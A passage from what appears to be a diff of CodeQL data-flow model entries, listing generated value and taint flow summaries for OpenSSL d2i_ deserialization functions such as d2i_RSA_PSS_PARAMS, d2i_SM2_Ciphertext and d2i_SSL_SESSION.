**,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_RSA_OAEP_PARAMS", "(RSA_OAEP_PARAMS **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_RSA_OAEP_PARAMS", "(RSA_OAEP_PARAMS **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_RSA_OAEP_PARAMS", "(RSA_OAEP_PARAMS **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_RSA_OAEP_PARAMS", "(RSA_OAEP_PARAMS **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_RSA_OAEP_PARAMS", "(RSA_OAEP_PARAMS **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_RSA_OAEP_PARAMS", "(RSA_OAEP_PARAMS **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_RSA_OAEP_PARAMS", "(RSA_OAEP_PARAMS **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_RSA_OAEP_PARAMS", "(RSA_OAEP_PARAMS **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_RSA_OAEP_PARAMS", "(RSA_OAEP_PARAMS **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_RSA_OAEP_PARAMS", "(RSA_OAEP_PARAMS **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_RSA_PSS_PARAMS", "(RSA_PSS_PARAMS **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_RSA_PSS_PARAMS", "(RSA_PSS_PARAMS **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_RSA_PSS_PARAMS", "(RSA_PSS_PARAMS **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_RSA_PSS_PARAMS", "(RSA_PSS_PARAMS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_RSA_PSS_PARAMS", "(RSA_PSS_PARAMS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_RSA_PSS_PARAMS", "(RSA_PSS_PARAMS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_RSA_PSS_PARAMS", "(RSA_PSS_PARAMS **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_RSA_PSS_PARAMS", "(RSA_PSS_PARAMS **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_RSA_PSS_PARAMS", "(RSA_PSS_PARAMS **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_RSA_PSS_PARAMS", "(RSA_PSS_PARAMS **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_RSA_PSS_PARAMS", "(RSA_PSS_PARAMS **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_RSA_PSS_PARAMS", "(RSA_PSS_PARAMS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_RSA_PSS_PARAMS", "(RSA_PSS_PARAMS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_RSA_PSS_PARAMS", "(RSA_PSS_PARAMS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_RSA_PSS_PARAMS", "(RSA_PSS_PARAMS **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_RSA_PSS_PARAMS", "(RSA_PSS_PARAMS **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_RSA_PSS_PARAMS", "(RSA_PSS_PARAMS **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_RSA_PSS_PARAMS", "(RSA_PSS_PARAMS **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_RSA_PSS_PARAMS", "(RSA_PSS_PARAMS **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_RSA_PSS_PARAMS", "(RSA_PSS_PARAMS **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_RSA_PSS_PARAMS", "(RSA_PSS_PARAMS **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_RSA_PSS_PARAMS", "(RSA_PSS_PARAMS **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_RSA_PSS_PARAMS", "(RSA_PSS_PARAMS **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_RSA_PSS_PARAMS", "(RSA_PSS_PARAMS **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_RSA_PSS_PARAMS", "(RSA_PSS_PARAMS **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_RSA_PSS_PARAMS", "(RSA_PSS_PARAMS **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_RSA_PSS_PARAMS", "(RSA_PSS_PARAMS **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_RSA_PSS_PARAMS", "(RSA_PSS_PARAMS **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_RSA_PSS_PARAMS", "(RSA_PSS_PARAMS **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_RSA_PSS_PARAMS", "(RSA_PSS_PARAMS **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_RSA_PSS_PARAMS", "(RSA_PSS_PARAMS **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_RSA_PSS_PARAMS", "(RSA_PSS_PARAMS **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_RSA_PUBKEY", "(RSA **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_RSA_PUBKEY", "(RSA **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_RSA_PUBKEY", "(RSA **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "d2i_RSA_PUBKEY", "(RSA **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_RSA_PUBKEY", "(RSA **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_RSA_PUBKEY", "(RSA **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_RSA_PUBKEY", "(RSA **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_RSA_PUBKEY_bio", "(BIO *,RSA **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_RSA_PUBKEY_fp", "(FILE *,RSA **)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_RSA_PUBKEY_fp", "(FILE *,RSA **)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_RSA_PUBKEY_fp", "(FILE *,RSA **)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_RSA_PUBKEY_fp", "(FILE *,RSA **)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_RSA_PUBKEY_fp", "(FILE *,RSA **)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_RSA_PUBKEY_fp", "(FILE *,RSA **)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_RSA_PUBKEY_fp", "(FILE *,RSA **)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_RSA_PUBKEY_fp", "(FILE *,RSA **)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_RSA_PUBKEY_fp", "(FILE *,RSA **)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_RSA_PUBKEY_fp", "(FILE *,RSA **)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_SCRYPT_PARAMS", "(SCRYPT_PARAMS **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_SCRYPT_PARAMS", "(SCRYPT_PARAMS **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_SCRYPT_PARAMS", "(SCRYPT_PARAMS **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_SCRYPT_PARAMS", "(SCRYPT_PARAMS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_SCRYPT_PARAMS", "(SCRYPT_PARAMS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_SCRYPT_PARAMS", "(SCRYPT_PARAMS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_SCRYPT_PARAMS", "(SCRYPT_PARAMS **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_SCRYPT_PARAMS", "(SCRYPT_PARAMS **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_SCRYPT_PARAMS", "(SCRYPT_PARAMS **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_SCRYPT_PARAMS", "(SCRYPT_PARAMS **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_SCRYPT_PARAMS", "(SCRYPT_PARAMS **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_SCRYPT_PARAMS", "(SCRYPT_PARAMS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_SCRYPT_PARAMS", "(SCRYPT_PARAMS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_SCRYPT_PARAMS", "(SCRYPT_PARAMS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_SCRYPT_PARAMS", "(SCRYPT_PARAMS **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_SCRYPT_PARAMS", "(SCRYPT_PARAMS **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_SCRYPT_PARAMS", "(SCRYPT_PARAMS **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_SCRYPT_PARAMS", "(SCRYPT_PARAMS **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_SCRYPT_PARAMS", "(SCRYPT_PARAMS **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_SCRYPT_PARAMS", "(SCRYPT_PARAMS **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_SCRYPT_PARAMS", "(SCRYPT_PARAMS **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_SCRYPT_PARAMS", "(SCRYPT_PARAMS **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_SCRYPT_PARAMS", "(SCRYPT_PARAMS **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_SCRYPT_PARAMS", "(SCRYPT_PARAMS **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_SCRYPT_PARAMS", "(SCRYPT_PARAMS **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_SCRYPT_PARAMS", "(SCRYPT_PARAMS **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_SCRYPT_PARAMS", "(SCRYPT_PARAMS **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_SCRYPT_PARAMS", "(SCRYPT_PARAMS **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_SCRYPT_PARAMS", "(SCRYPT_PARAMS **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_SCRYPT_PARAMS", "(SCRYPT_PARAMS **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_SCRYPT_PARAMS", "(SCRYPT_PARAMS **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_SCRYPT_PARAMS", "(SCRYPT_PARAMS **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_SCT_LIST", "(stack_st_SCT **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_SCT_LIST", "(stack_st_SCT **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "d2i_SCT_LIST", "(stack_st_SCT **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_SCT_LIST", "(stack_st_SCT **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "d2i_SCT_LIST", "(stack_st_SCT **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "d2i_SCT_LIST", "(stack_st_SCT **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_SCT_LIST", "(stack_st_SCT **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_SCT_LIST", "(stack_st_SCT **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_SCT_LIST", "(stack_st_SCT **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_SM2_Ciphertext", "(SM2_Ciphertext **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_SM2_Ciphertext", "(SM2_Ciphertext **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_SM2_Ciphertext", "(SM2_Ciphertext **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_SM2_Ciphertext", "(SM2_Ciphertext **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_SM2_Ciphertext", "(SM2_Ciphertext **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_SM2_Ciphertext", "(SM2_Ciphertext **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_SM2_Ciphertext", "(SM2_Ciphertext **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_SM2_Ciphertext", "(SM2_Ciphertext **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_SM2_Ciphertext", "(SM2_Ciphertext **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_SM2_Ciphertext", "(SM2_Ciphertext **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_SM2_Ciphertext", "(SM2_Ciphertext **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_SM2_Ciphertext", "(SM2_Ciphertext **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_SM2_Ciphertext", "(SM2_Ciphertext **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_SM2_Ciphertext", "(SM2_Ciphertext **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_SM2_Ciphertext", "(SM2_Ciphertext **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_SM2_Ciphertext", "(SM2_Ciphertext **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_SM2_Ciphertext", "(SM2_Ciphertext **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_SM2_Ciphertext", "(SM2_Ciphertext **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_SM2_Ciphertext", "(SM2_Ciphertext **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_SM2_Ciphertext", "(SM2_Ciphertext **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_SM2_Ciphertext", "(SM2_Ciphertext **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_SM2_Ciphertext", "(SM2_Ciphertext **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_SM2_Ciphertext", "(SM2_Ciphertext **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_SM2_Ciphertext", "(SM2_Ciphertext **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_SM2_Ciphertext", "(SM2_Ciphertext **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_SM2_Ciphertext", "(SM2_Ciphertext **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_SM2_Ciphertext", "(SM2_Ciphertext **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_SM2_Ciphertext", "(SM2_Ciphertext **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_SM2_Ciphertext", "(SM2_Ciphertext **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_SM2_Ciphertext", "(SM2_Ciphertext **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_SM2_Ciphertext", "(SM2_Ciphertext **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_SM2_Ciphertext", "(SM2_Ciphertext **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_SSL_SESSION", "(SSL_SESSION **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_SSL_SESSION", "(SSL_SESSION **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_SSL_SESSION", "(SSL_SESSION **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "d2i_SSL_SESSION", "(SSL_SESSION **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_SSL_SESSION", "(SSL_SESSION **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "d2i_SSL_SESSION", "(SSL_SESSION **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "d2i_SSL_SESSION", "(SSL_SESSION **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_SSL_SESSION", "(SSL_SESSION **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_SSL_SESSION", "(SSL_SESSION **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_SSL_SESSION", "(SSL_SESSION **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_SSL_SESSION_ex", "(SSL_SESSION **,const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_SSL_SESSION_ex", "(SSL_SESSION **,const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[**1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_SSL_SESSION_ex", "(SSL_SESSION **,const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "d2i_SSL_SESSION_ex", "(SSL_SESSION **,const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_SSL_SESSION_ex", "(SSL_SESSION **,const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "d2i_SSL_SESSION_ex", "(SSL_SESSION **,const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "d2i_SSL_SESSION_ex", "(SSL_SESSION **,const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_SSL_SESSION_ex", "(SSL_SESSION **,const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_SSL_SESSION_ex", "(SSL_SESSION **,const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_SSL_SESSION_ex", "(SSL_SESSION **,const unsigned char **,long,OSSL_LIB_CTX *,const char *)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "d2i_SXNET", "(SXNET **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_SXNET", "(SXNET **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_SXNET", "(SXNET **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_SXNET", "(SXNET **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_SXNET", "(SXNET **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_SXNET", "(SXNET **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_SXNET", "(SXNET **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_SXNET", "(SXNET **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_SXNET", "(SXNET **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_SXNET", "(SXNET **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_SXNET", "(SXNET **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_SXNET", "(SXNET **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_SXNET", "(SXNET **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_SXNET", "(SXNET **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_SXNET", "(SXNET **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_SXNET", "(SXNET **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_SXNET", "(SXNET **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_SXNET", "(SXNET **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_SXNET", "(SXNET **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_SXNET", "(SXNET **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_SXNET", "(SXNET **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_SXNET", "(SXNET **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_SXNET", "(SXNET **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_SXNET", "(SXNET **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_SXNET", "(SXNET **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_SXNET", "(SXNET **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_SXNET", "(SXNET **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_SXNET", "(SXNET **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_SXNET", "(SXNET **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_SXNET", "(SXNET **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_SXNET", "(SXNET **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_SXNET", "(SXNET **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_SXNETID", "(SXNETID **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", 